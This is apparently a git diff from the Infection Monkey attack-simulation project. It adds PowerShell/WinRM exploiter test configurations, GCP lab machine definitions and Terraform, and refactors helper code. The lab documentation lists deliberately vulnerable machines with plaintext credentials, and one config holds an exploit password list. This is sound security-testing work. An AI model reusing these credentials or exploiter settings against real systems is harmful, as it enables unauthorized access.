@ -0,0 +1,21 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class PowerShellCredentialsReuse(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
config_values.update(
{
"basic.exploiters.exploiter_classes": ["PowerShellExploiter"],
"basic_network.scope.subnet_scan_list": [
"10.2.3.46",
],
"basic_network.scope.depth": 2,
"internal.classes.finger_classes": ["PingScanner"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
}
)

View File

@ -13,11 +13,11 @@ class Tunneling(ConfigTemplate):
"basic_network.scope.subnet_scan_list": [
"10.2.2.9",
"10.2.1.10",
"10.2.0.11",
"10.2.0.12",
"10.2.0.11",
],
"basic_network.scope.depth": 3,
"internal.general.keep_tunnel_open_time": 180,
"internal.general.keep_tunnel_open_time": 150,
"basic.credentials.exploit_password_list": [
"Password1!",
"3Q=(Ge(+&w]*",

View File

@ -10,7 +10,7 @@ class Zerologon(ConfigTemplate):
config_values.update(
{
"basic.exploiters.exploiter_classes": ["ZerologonExploiter"],
"basic.exploiters.exploiter_classes": ["ZerologonExploiter", "SmbExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.2.25"],
# Empty list to make sure ZeroLogon adds "Administrator" username
"basic.credentials.exploit_user_list": [],

View File

@ -27,6 +27,12 @@ def pytest_addoption(parser):
default=False,
help="If enabled performance tests will be run.",
)
parser.addoption(
"--skip-powershell-reuse",
action="store_true",
default=False,
help="Use to run PowerShell credentials reuse test.",
)
@pytest.fixture(scope="session")
@ -51,3 +57,11 @@ def pytest_runtest_setup(item):
pytest.skip(
"Skipping performance test because " "--run-performance-tests flag isn't specified."
)
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
"--skip-powershell-reuse"
):
pytest.skip(
"Skipping powershell credentials reuse test because "
"--skip-powershell-cached flag isn't specified."
)

View File

@ -1,22 +1,30 @@
GCP_TEST_MACHINE_LIST = [
"sshkeys-11",
"sshkeys-12",
"elastic-4",
"elastic-5",
"hadoop-2",
"hadoop-3",
"mssql-16",
"mimikatz-14",
"mimikatz-15",
"struts2-23",
"struts2-24",
"tunneling-9",
"tunneling-10",
"tunneling-11",
"tunneling-12",
"weblogic-18",
"weblogic-19",
"shellshock-8",
"zerologon-25",
"drupal-28",
]
GCP_TEST_MACHINE_LIST = {
"europe-west3-a": [
"sshkeys-11",
"sshkeys-12",
"elastic-4",
"elastic-5",
"hadoop-2",
"hadoop-3",
"mssql-16",
"mimikatz-14",
"mimikatz-15",
"struts2-23",
"struts2-24",
"tunneling-9",
"tunneling-10",
"tunneling-11",
"tunneling-12",
"weblogic-18",
"weblogic-19",
"shellshock-8",
"zerologon-25",
"drupal-28",
],
"europe-west1-b": [
"powershell-3-45",
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
],
}

View File

@ -7,8 +7,8 @@ import requests
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()"
ISLAND_USERNAME = "test"
ISLAND_PASSWORD = "test"
LOGGER = logging.getLogger(__name__)
@ -16,6 +16,10 @@ class AuthenticationFailedError(Exception):
pass
class InvalidRegistrationCredentialsError(Exception):
pass
# noinspection PyArgumentList
class MonkeyIslandRequests(object):
def __init__(self, server_address):
@ -48,9 +52,9 @@ class MonkeyIslandRequests(object):
try:
return self.get_jwt_from_server()
except AuthenticationFailedError:
self.try_set_island_to_no_password()
self.try_set_island_to_credentials()
return self.get_jwt_from_server()
except requests.ConnectionError as err:
except (requests.ConnectionError, InvalidRegistrationCredentialsError) as err:
LOGGER.error(
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(
err, self.addr
@ -61,17 +65,21 @@ class MonkeyIslandRequests(object):
def get_jwt_from_server(self):
resp = requests.post( # noqa: DUO123
self.addr + "api/auth",
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD},
verify=False,
)
if resp.status_code == 401:
raise AuthenticationFailedError
return resp.json()["access_token"]
def try_set_island_to_no_password(self):
requests.patch( # noqa: DUO123
self.addr + "api/environment", json={"server_config": "standard"}, verify=False
def try_set_island_to_credentials(self):
resp = requests.post( # noqa: DUO123
self.addr + "api/registration",
json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD},
verify=False,
)
if resp.status_code == 400:
raise InvalidRegistrationCredentialsError("Missing part of the credentials")
class _Decorators:
@classmethod
@ -117,6 +125,5 @@ class MonkeyIslandRequests(object):
self.addr + url, headers=self.get_jwt_header(), verify=False
)
@_Decorators.refresh_jwt_token
def get_jwt_header(self):
return {"Authorization": "Bearer " + self.token}

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python3
from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
from utils.gcp_machine_handlers import GCPHandler
from utils.gcp_machine_handlers import initialize_gcp_client, start_machines
gcp_handler = GCPHandler()
gcp_handler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
initialize_gcp_client()
start_machines(GCP_TEST_MACHINE_LIST)

View File

@ -1,7 +1,7 @@
#!/usr/bin/env python3
from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
from utils.gcp_machine_handlers import GCPHandler
from utils.gcp_machine_handlers import initialize_gcp_client, stop_machines
gcp_handler = GCPHandler()
gcp_handler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
initialize_gcp_client()
stop_machines(GCP_TEST_MACHINE_LIST)

View File

@ -13,6 +13,10 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import (
PowerShellCredentialsReuse,
)
from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock
from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz
from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth
@ -39,7 +43,11 @@ from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetri
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import (
TelemetryPerformanceTest,
)
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import (
initialize_gcp_client,
start_machines,
stop_machines,
)
from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
DEFAULT_TIMEOUT_SECONDS = 5 * 60
@ -53,15 +61,15 @@ LOGGER = logging.getLogger(__name__)
def GCPHandler(request, no_gcp):
if not no_gcp:
try:
GCPHandler = gcp_machine_handlers.GCPHandler()
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
initialize_gcp_client()
start_machines(GCP_TEST_MACHINE_LIST)
except Exception as e:
LOGGER.error("GCP Handler failed to initialize: %s." % e)
pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.")
wait_machine_bootup()
def fin():
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
stop_machines(GCP_TEST_MACHINE_LIST)
request.addfinalizer(fin)
@ -156,6 +164,19 @@ class TestMonkeyBlackbox:
def test_mssql_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter")
def test_powershell_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, PowerShell, "PowerShell_Remoting_exploiter"
)
@pytest.mark.skip_powershell_reuse
def test_powershell_exploiter_credentials_reuse(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client,
PowerShellCredentialsReuse,
"PowerShell_Remoting_exploiter_credentials_reuse",
)
def test_smb_and_mimikatz_exploiters(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, SmbMimikatz, "SMB_exploiter_mimikatz"
@ -200,7 +221,10 @@ class TestMonkeyBlackbox:
"2864b62ea4496934a5d6e86f50b834a5",
]
raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client)
analyzer = ZerologonAnalyzer(island_client, expected_creds)
zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds)
communication_analyzer = CommunicationAnalyzer(
island_client, IslandConfigParser.get_ips_of_targets(raw_config)
)
log_handler = TestLogsHandler(
test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()
)
@ -208,7 +232,7 @@ class TestMonkeyBlackbox:
name=test_name,
island_client=island_client,
raw_config=raw_config,
analyzers=[analyzer],
analyzers=[zero_logon_analyzer, communication_analyzer],
timeout=DEFAULT_TIMEOUT_SECONDS,
log_handler=log_handler,
).run()

View File

@ -8,6 +8,7 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock
from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz
from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth
@ -40,6 +41,7 @@ CONFIG_TEMPLATES = [
Hadoop,
Mssql,
Performance,
PowerShell,
ShellShock,
SmbMimikatz,
SmbPth,

View File

@ -1,76 +1,81 @@
import logging
import os
import subprocess
from multiprocessing.dummy import Pool
LOGGER = logging.getLogger(__name__)
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
SET_PROPERTY_PROJECT = "gcloud config set project %s"
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
class GCPHandler(object):
AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
SET_PROPERTY_PROJECT = "gcloud config set project %s"
MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
# Key path location relative to this file's directory
RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json"
DEFAULT_PROJECT = "guardicore-22050661"
# Key path location relative to this file's directory
RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json"
DEFAULT_ZONE = "europe-west3-a"
DEFAULT_PROJECT = "guardicore-22050661"
def __init__(
self,
zone=DEFAULT_ZONE,
project_id=DEFAULT_PROJECT,
):
self.zone = zone
abs_key_path = GCPHandler.get_absolute_key_path()
def initialize_gcp_client():
abs_key_path = get_absolute_key_path()
subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116
LOGGER.info("GCP Handler passed key")
subprocess.call(get_auth_command(abs_key_path), shell=True) # noqa: DUO116
LOGGER.info("GCP Handler passed key")
subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) # noqa: DUO116
LOGGER.info("GCP Handler set project")
LOGGER.info("GCP Handler initialized successfully")
subprocess.call(get_set_project_command(DEFAULT_PROJECT), shell=True) # noqa: DUO116
LOGGER.info("GCP Handler set project")
LOGGER.info("GCP Handler initialized successfully")
@staticmethod
def get_absolute_key_path() -> str:
file_dir = os.path.dirname(os.path.realpath(__file__))
absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH)
absolute_key_path = os.path.realpath(absolute_key_path)
if not os.path.isfile(absolute_key_path):
raise FileNotFoundError(
"GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json"
)
return absolute_key_path
def get_absolute_key_path() -> str:
file_dir = os.path.dirname(os.path.realpath(__file__))
absolute_key_path = os.path.join(file_dir, RELATIVE_KEY_PATH)
absolute_key_path = os.path.realpath(absolute_key_path)
def start_machines(self, machine_list):
"""
Start all the machines in the list.
:param machine_list: A space-separated string with all the machine names. Example:
start_machines(`" ".join(["elastic-3", "mssql-16"])`)
"""
LOGGER.info("Setting up all GCP machines...")
try:
subprocess.call( # noqa: DUO116
(GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True
)
LOGGER.info("GCP machines successfully started.")
except Exception as e:
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
if not os.path.isfile(absolute_key_path):
raise FileNotFoundError(
"GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json"
)
return absolute_key_path
def stop_machines(self, machine_list):
try:
subprocess.call( # noqa: DUO116
(GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True
)
LOGGER.info("GCP machines stopped successfully.")
except Exception as e:
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
@staticmethod
def get_auth_command(key_path):
return GCPHandler.AUTHENTICATION_COMMAND % key_path
def start_machines(machine_list):
"""
Start all the machines in the list.
:param machine_list: A dictionary with zone and machines per zone.
"""
LOGGER.info("Setting up all GCP machines...")
try:
run_gcp_pool(MACHINE_STARTING_COMMAND, machine_list)
LOGGER.info("GCP machines successfully started.")
except Exception as e:
LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
@staticmethod
def get_set_project_command(project):
return GCPHandler.SET_PROPERTY_PROJECT % project
def stop_machines(machine_list):
try:
run_gcp_pool(MACHINE_STOPPING_COMMAND, machine_list)
LOGGER.info("GCP machines stopped successfully.")
except Exception as e:
LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
def get_auth_command(key_path):
return AUTHENTICATION_COMMAND % key_path
def get_set_project_command(project):
return SET_PROPERTY_PROJECT % project
def run_gcp_command(arglist):
gcp_cmd, machine_list, zone = arglist
subprocess.call( # noqa DUO116
(gcp_cmd % (" ".join(machine_list), zone)),
shell=True,
)
def run_gcp_pool(gcp_command, machine_list):
arglist = [(gcp_command, machine_list[zone], zone) for zone in machine_list]
with Pool(2) as pool:
pool.map(run_gcp_command, arglist)

View File

@ -30,8 +30,13 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 22 Scan](#_Toc526517197)<br>
[Nr. 23 Struts2](#_Toc536021476)<br>
[Nr. 24 Struts2](#_Toc536021477)<br>
[Nr. 250 MonkeyIsland](#_Toc536021478)<br>
[Nr. 251 MonkeyIsland](#_Toc536021479)<br>
[Nr. 25 Zerologon](#_Toc536021478)<br>
[Nr. 3-45 Powershell](#_Toc536021479)<br>
[Nr. 3-46 Powershell](#_Toc536021480)<br>
[Nr. 3-47 Powershell](#_Toc536021481)<br>
[Nr. 3-48 Powershell](#_Toc536021482)<br>
[Nr. 250 MonkeyIsland](#_Toc536021483)<br>
[Nr. 251 MonkeyIsland](#_Toc536021484)<br>
[Network topography](#network-topography)<br>
# Warning\!
@ -59,9 +64,9 @@ To deploy:
1. Configure service account for your project:
a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account:
**Compute Engine -> Compute Network Admin**
and
**Compute Engine -> Compute Instance Admin (v1)**
@ -69,11 +74,11 @@ To deploy:
**Compute Engine -> Compute Security Admin**
and
**Service Account User**
or
**Project -> Owner**
c. Create and download its **Service account key** in JSON and place it in **monkey_zoo/gcp_keys** as **gcp_key.json**.
2. Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them):
@ -85,29 +90,29 @@ To deploy:
link to your service account key file):
provider "google" {
project = "test-000000" // Change to your project id
region = "europe-west3" // Change to your desired region or leave default
zone = "europe-west3-b" // Change to your desired zone or leave default
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
// If you followed instruction above leave it as is
}
locals {
resource_prefix = "" // All of the resources will have this prefix.
// Only change if you want to have multiple zoo's in the same project
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
}
4. Run terraform init
To deploy the network run:<br>
@ -117,7 +122,7 @@ To deploy the network run:<br>
# Using islands:
###How to get into the islands:
### How to get into the islands:
**island-linux-250:** SSH from GCP
@ -125,14 +130,22 @@ To deploy the network run:<br>
island-windows-251. Set password for your account and then RDP into
the island.
###These are most common steps on monkey islands:
### These are most common steps on monkey islands:
####island-linux-250:
### For users
To run monkey island:<br>
Upload the AppImage deployment option and run it in island-linux-250.
Or upload the MSI deployment option, install it and run it in island-windows-251.
After that use the Monkey as you would on local network.
### For developers
#### island-linux-250:
To run monkey island from source:<br>
`sudo /usr/run\_island.sh`<br>
To run monkey:<br>
To run monkey from source:<br>
`sudo /usr/run\_monkey.sh`<br>
To update repository:<br>
@ -142,12 +155,12 @@ Update all requirements using deployment script:<br>
1\. `cd /usr/infection_monkey/deployment_scripts`<br>
2\. `./deploy_linux.sh "/usr/infection_monkey" "develop"`<br>
####island-windows-251:
#### island-windows-251:
To run monkey island:<br>
To run monkey island from source:<br>
Execute C:\\run\_monkey\_island.bat as administrator
To run monkey:<br>
To run monkey from source:<br>
Execute C:\\run\_monkey.bat as administrator
To update repository:<br>
@ -156,15 +169,8 @@ To update repository:<br>
3\. `git pull` (updates develop branch)<br>
Update all requirements using deployment script:<br>
1. `cd C:\infection_monkey\deployment_scripts`<br>
2. `./run_script.bat "C:\infection_monkey" "develop"`
# Running tests:
Once you start monkey island you can import test configurations from
../monkey/envs/configs.
fullTest.conf is a good config to start, because it covers all machines.
1\. `cd C:\infection_monkey\deployment_scripts`<br>
2\. `./run_script.bat "C:\infection_monkey" "develop"`<br>
# Machines:
@ -276,10 +282,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td><a href="https://www.elastic.co/guide/en/elasticsearch/reference/1.4/_index_and_query_a_document.html">Quick</a> tutorial on how to add entries (was useful when setting up).</td>
</tr>
<tr class="odd">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -357,10 +359,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -433,10 +431,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>Vulnerable app is under /cgi-bin/test.cgi</td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -613,10 +607,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td></td>
</tr>
<tr class="odd">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -653,10 +643,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>Dont add this machines credentials to exploit configuration.</td>
</tr>
<tr class="odd">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -695,10 +681,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td></td>
</tr>
<tr class="odd">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -765,10 +747,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>If you change this machines IP it wont get exploited.</td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -839,10 +817,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -985,10 +959,6 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>Used to scan a machine that has no vulnerabilities (to evaluate scanning speed for e.g.)</td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
@ -1093,17 +1063,13 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p>Nr. <strong>25</strong> ZeroLogon</p>
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>25</strong> ZeroLogon </p>
<p>(10.2.2.25)</p></th>
<th>(Vulnerable)</th>
</tr>
@ -1123,7 +1089,119 @@ fullTest.conf is a good config to start, because it covers all machines.
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-45 Powershell</strong></p>
<p>(10.2.3.45)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!<br>User: m0nk3y-user, No Password.</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021480" class="anchor"></span>Nr. <strong>3-46 Powershell</strong></p>
<p>(10.2.3.46)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021481" class="anchor"></span>Nr. <strong>3-47 Powershell</strong></p>
<p>(10.2.3.47)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Xk8VDTsC</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021482" class="anchor"></span>Nr. <strong>3-48 Powershell</strong></p>
<p>(10.2.3.48)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2019 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
<p>(10.2.2.250)</p></th>
<th></th>
</tr>
@ -1149,20 +1227,18 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>Only accessible trough GCP</td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021478" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
<p>(10.2.2.251)</p></th>
<th></th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
@ -1183,13 +1259,9 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>Notes:</td>
<td>Only accessible trough GCP</td>
</tr>
<tr class="even">
<td></td>
<td></td>
</tr>
</tbody>
</table>
# Network topography:
<img src="/envs/monkey_zoo/docs/images/networkTopography.jpeg" >
<img src="/envs/monkey_zoo/docs/images/networkTopography.jpg" >

View File

@ -37,6 +37,10 @@ data "google_compute_image" "tunneling-11" {
name = "tunneling-11"
project = local.monkeyzoo_project
}
data "google_compute_image" "tunneling-12" {
name = "tunneling-12"
project = local.monkeyzoo_project
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11"
project = local.monkeyzoo_project
@ -57,6 +61,22 @@ data "google_compute_image" "mssql-16" {
name = "mssql-16"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-48" {
name = "powershell-3-48"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-47" {
name = "powershell-3-47"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-46" {
name = "powershell-3-46"
project = local.monkeyzoo_project
}
data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45"
project = local.monkeyzoo_project
}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = local.monkeyzoo_project

View File

@ -26,6 +26,12 @@ resource "google_compute_subnetwork" "monkeyzoo-main" {
network = google_compute_network.monkeyzoo.self_link
}
resource "google_compute_subnetwork" "monkeyzoo-main-1" {
name = "${local.resource_prefix}monkeyzoo-main-1"
ip_cidr_range = "10.2.3.0/24"
network = google_compute_network.monkeyzoo.self_link
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28"
@ -307,6 +313,66 @@ resource "google_compute_instance_from_template" "mssql-16" {
}
}
resource "google_compute_instance_from_template" "powershell-3-48" {
name = "${local.resource_prefix}powershell-3-48"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-48.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.48"
}
}
resource "google_compute_instance_from_template" "powershell-3-47" {
name = "${local.resource_prefix}powershell-3-47"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-47.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.47"
}
}
resource "google_compute_instance_from_template" "powershell-3-46" {
name = "${local.resource_prefix}powershell-3-46"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-46.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
network_ip="10.2.3.46"
}
}
resource "google_compute_instance_from_template" "powershell-3-45" {
name = "${local.resource_prefix}powershell-3-45"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-45.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "${local.resource_prefix}upgrader-17"

View File

@ -1 +1 @@
release
dev

View File

@ -1,5 +1,4 @@
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
POST_BREACH_BACKDOOR_USER = "Backdoor user"
POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER = "Communicate as backdoor user"
POST_BREACH_FILE_EXECUTION = "File execution"
POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION = "Modify shell startup file"
POST_BREACH_HIDDEN_FILES = "Hide files and directories"

View File

@ -40,7 +40,7 @@ TEST_SCHEDULED_EXECUTION = "scheduled_execution"
TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline"
TEST_SEGMENTATION = "segmentation"
TEST_TUNNELING = "tunneling"
TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user"
TEST_COMMUNICATE_AS_BACKDOOR_USER = "communicate_as_backdoor_user"
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules"
TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data"
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention"
@ -58,7 +58,7 @@ TESTS = (
TEST_DATA_ENDPOINT_HTTP,
TEST_DATA_ENDPOINT_ELASTIC,
TEST_TUNNELING,
TEST_COMMUNICATE_AS_NEW_USER,
TEST_COMMUNICATE_AS_BACKDOOR_USER,
TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES,
TEST_SCOUTSUITE_UNENCRYPTED_DATA,
TEST_SCOUTSUITE_DATA_LOSS_PREVENTION,
@ -206,7 +206,7 @@ TESTS_MAP = {
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED],
},
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_COMMUNICATE_AS_BACKDOOR_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate "
"with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {

View File

@ -5,7 +5,7 @@ import socket
import struct
from abc import ABCMeta, abstractmethod
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class NetworkRange(object, metaclass=ABCMeta):
@ -174,7 +174,7 @@ class SingleIpRange(NetworkRange):
ip = socket.gethostbyname(string_)
domain_name = string_
except socket.error:
LOG.error(
logger.error(
"Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string_)
)

View File

@ -1,30 +0,0 @@
import sys
if sys.platform.startswith("win"):
import pythoncom
pythoncom.CoInitialize()
import wmi
from .mongo_utils import MongoUtils
class WMIUtils:
def __init__(self):
